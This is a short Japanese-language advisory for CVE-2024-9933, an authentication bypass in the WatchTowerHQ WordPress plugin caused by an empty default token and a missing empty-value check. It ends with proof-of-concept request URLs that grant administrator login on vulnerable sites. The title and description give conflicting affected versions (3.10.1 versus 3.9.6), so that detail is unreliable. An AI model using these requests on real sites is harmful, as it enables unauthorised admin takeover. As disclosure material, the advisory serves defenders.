CVE-2024-9933

WatchTowerHQ <= 3.10.1 - 空の値チェックの欠如による管理者への認証バイパス

説明:

WordPress 用 WatchTowerHQ プラグインは、バージョン 3.9.6 以前において、認証バイパスの脆弱性の影響を受けます。これは、'watchtower_ota_token' のデフォルト値が空であり、'Password_Less_Access::login' 関数に空値チェックが存在しないためです。このため、認証されていない攻撃者が WatchTowerHQ クライアントの管理者ユーザーにログインすることが可能になります。

State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

POC

http://kubernetes.docker.internal/?wht_login=1

OR

http://kubernetes.docker.internal/?wht_login=1&access_token=not_set

脆弱性がある場合、管理者としてログインされます。